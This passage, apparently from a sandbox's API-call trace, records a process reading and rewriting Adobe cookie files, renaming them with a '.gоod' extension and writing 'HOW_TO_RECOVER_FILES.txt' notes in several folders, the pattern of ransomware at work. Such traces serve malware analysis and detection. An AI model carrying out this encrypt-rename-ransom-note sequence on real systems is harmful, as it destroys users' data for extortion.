nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0146.151] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x777b22bc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.152] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x777b22bc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x777b22bc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xd7437f7e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0146.152] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x777b22bc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x777b22bc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xd74f6b1c, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies-journal", cAlternateFileName="COOKIE~1")) returned 1 [0146.152] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x777b22bc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x777b22bc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xd74f6b1c, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies-journal", cAlternateFileName="COOKIE~1")) returned 0 [0146.152] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0146.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea110) returned 1 [0146.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea0d0) returned 1 [0146.152] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies", lpFilePart=0x0) returned 0x45 [0146.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f80) returned 1 [0146.152] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cookie\\cookies"), fInfoLevelId=0x0, lpFileInformation=0x37d28e0 | out: lpFileInformation=0x37d28e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x777b22bc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x777b22bc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xd7437f7e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1c00)) returned 1 [0146.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f40) returned 1 [0146.153] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies", lpFilePart=0x0) returned 0x45 [0146.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0146.153] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cookie\\cookies"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0146.153] GetFileType (hFile=0x804) returned 0x1 [0146.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0146.153] GetFileType (hFile=0x804) returned 0x1 [0146.153] SetFilePointer (in: hFile=0x804, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6e9fd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6e9fd8*=0) returned 0x1000 [0146.153] ReadFile (in: hFile=0x804, lpBuffer=0x37d2d28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9fa8, lpOverlapped=0x0 | out: lpBuffer=0x37d2d28*, lpNumberOfBytesRead=0x1f6e9fa8*=0xc00, lpOverlapped=0x0) returned 1 [0146.340] CloseHandle (hObject=0x804) returned 1 [0146.340] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies", lpFilePart=0x0) returned 0x45 [0146.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0146.340] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cookie\\cookies"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0146.341] GetFileType (hFile=0x804) returned 0x1 [0146.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0146.341] GetFileType (hFile=0x804) returned 0x1 [0146.341] SetFilePointer (in: hFile=0x804, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6e9fd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6e9fd8*=0) returned 0x1c00 [0146.341] WriteFile (in: hFile=0x804, lpBuffer=0x374a788*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6e9ec8, lpOverlapped=0x0 | out: lpBuffer=0x374a788*, lpNumberOfBytesWritten=0x1f6e9ec8*=0x10, lpOverlapped=0x0) returned 1 [0146.341] CloseHandle (hObject=0x804) returned 1 [0146.341] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies", lpFilePart=0x0) returned 0x45 [0146.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0146.341] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cookie\\cookies"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0146.341] GetFileType (hFile=0x804) returned 0x1 [0146.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0146.341] GetFileType (hFile=0x804) returned 0x1 [0146.341] ReadFile (in: hFile=0x804, lpBuffer=0x374ca38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9f58, lpOverlapped=0x0 | out: lpBuffer=0x374ca38*, lpNumberOfBytesRead=0x1f6e9f58*=0x1000, lpOverlapped=0x0) returned 1 [0146.368] CloseHandle (hObject=0x804) returned 1 [0146.369] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies", lpFilePart=0x0) returned 0x45 [0146.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0146.369] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cookie\\cookies"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0146.369] GetFileType (hFile=0x804) returned 0x1 [0146.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0146.369] GetFileType (hFile=0x804) returned 0x1 [0146.369] WriteFile (in: hFile=0x804, lpBuffer=0x374b7a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ea008, lpOverlapped=0x0 | out: lpBuffer=0x374b7a0*, lpNumberOfBytesWritten=0x1f6ea008*=0x1010, lpOverlapped=0x0) returned 1 [0146.369] CloseHandle (hObject=0x804) returned 1 [0146.369] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies", lpFilePart=0x0) returned 0x45 [0146.369] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies.gоod", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies.gоod", lpFilePart=0x0) returned 0x4a [0146.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f40) returned 1 [0146.369] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cookie\\cookies"), fInfoLevelId=0x0, lpFileInformation=0x1f6ea020 | out: lpFileInformation=0x1f6ea020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x777b22bc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x777b22bc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x5375cffe, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1c10)) returned 1 [0146.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f00) returned 1 [0146.369] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cookie\\cookies"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cookie\\cookies.gоod")) returned 1 [0146.370] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal", lpFilePart=0x0) returned 0x4d [0146.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f80) returned 1 [0146.370] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cookie\\cookies-journal"), fInfoLevelId=0x0, lpFileInformation=0x37cdf10 | out: lpFileInformation=0x37cdf10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x777b22bc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x777b22bc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xd74f6b1c, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0146.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f40) returned 1 [0146.370] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal", lpFilePart=0x0) returned 0x4d [0146.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0146.370] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cookie\\cookies-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0146.370] GetFileType (hFile=0x804) returned 0x1 [0146.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0146.371] GetFileType (hFile=0x804) returned 0x1 [0146.371] GetFileSize (in: hFile=0x804, lpFileSizeHigh=0x1f6e9fd8 | out: lpFileSizeHigh=0x1f6e9fd8*=0x0) returned 0x0 [0146.371] CloseHandle (hObject=0x804) returned 1 [0147.878] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal", lpFilePart=0x0) returned 0x4d [0147.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0147.878] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cookie\\cookies-journal"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0147.878] GetFileType (hFile=0x804) returned 0x1 [0147.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0147.878] GetFileType (hFile=0x804) returned 0x1 [0147.878] WriteFile (in: hFile=0x804, lpBuffer=0x385acc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6e9e18, lpOverlapped=0x0 | out: lpBuffer=0x385acc0*, lpNumberOfBytesWritten=0x1f6e9e18*=0x10, lpOverlapped=0x0) returned 1 [0147.879] CloseHandle (hObject=0x804) returned 1 [0147.879] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal", lpFilePart=0x0) returned 0x4d [0147.879] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal.gоod", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal.gоod", lpFilePart=0x0) returned 0x52 [0147.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f40) returned 1 [0147.879] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cookie\\cookies-journal"), fInfoLevelId=0x0, lpFileInformation=0x1f6ea020 | out: lpFileInformation=0x1f6ea020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x777b22bc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x777b22bc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x545ab1c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0147.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f00) returned 1 [0147.880] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cookie\\cookies-journal"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cookie\\cookies-journal.gоod")) returned 1 [0147.880] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e9c20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x56 [0147.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea140) returned 1 [0147.880] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cookie\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x804 [0147.882] GetFileType (hFile=0x804) returned 0x1 [0147.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea0b0) returned 1 [0147.882] GetFileType (hFile=0x804) returned 0x1 [0147.883] WriteFile (in: hFile=0x804, lpBuffer=0x385ec70*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ea208, lpOverlapped=0x0 | out: lpBuffer=0x385ec70*, lpNumberOfBytesWritten=0x1f6ea208*=0x5d0, lpOverlapped=0x0) returned 1 [0148.119] CloseHandle (hObject=0x804) returned 1 [0148.119] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ea650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4f [0148.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eab70) returned 1 [0148.120] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x804 [0148.120] GetFileType (hFile=0x804) returned 0x1 [0148.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eaae0) returned 1 [0148.120] GetFileType (hFile=0x804) returned 0x1 [0148.121] WriteFile (in: hFile=0x804, lpBuffer=0x375b330*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6eac38, lpOverlapped=0x0 | out: lpBuffer=0x375b330*, lpNumberOfBytesWritten=0x1f6eac38*=0x5d0, lpOverlapped=0x0) returned 1 [0148.122] CloseHandle (hObject=0x804) returned 1 [0148.122] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6eb080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x47 [0148.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb5a0) returned 1 [0148.122] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x804 [0148.122] GetFileType (hFile=0x804) returned 0x1 [0148.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb510) returned 1 [0148.123] GetFileType (hFile=0x804) returned 0x1 [0148.123] WriteFile (in: hFile=0x804, lpBuffer=0x375eb98*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6eb668, lpOverlapped=0x0 | out: lpBuffer=0x375eb98*, lpNumberOfBytesWritten=0x1f6eb668*=0x5d0, lpOverlapped=0x0) returned 1 [0148.124] CloseHandle (hObject=0x804) returned 1 [0148.124] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ebab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x44 [0148.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ebfd0) returned 1 [0148.124] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x804 [0148.124] GetFileType (hFile=0x804) returned 0x1 [0148.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebf40) returned 1 [0148.125] GetFileType (hFile=0x804) returned 0x1 [0148.125] WriteFile (in: hFile=0x804, lpBuffer=0x3762400*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ec098, lpOverlapped=0x0 | out: lpBuffer=0x3762400*, lpNumberOfBytesWritten=0x1f6ec098*=0x5d0, lpOverlapped=0x0) returned 1 [0148.126] CloseHandle (hObject=0x804) returned 1 [0148.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ec060) returned 1 [0148.126] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color", nBufferLength=0x105, lpBuffer=0x1f6ebb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color", lpFilePart=0x0) returned 0x29 [0148.127] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\*", lpFindFileData=0x1f6ebd80 | out: lpFindFileData=0x1f6ebd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73de0392, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0148.127] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73de0392, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.127] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73de0392, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73e065fe, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECache11.lst", cAlternateFileName="ACECAC~1.LST")) returned 1 [0148.127] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73a98eca, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0148.127] FindNextFileW (in: hFindFile=0x1283d30, 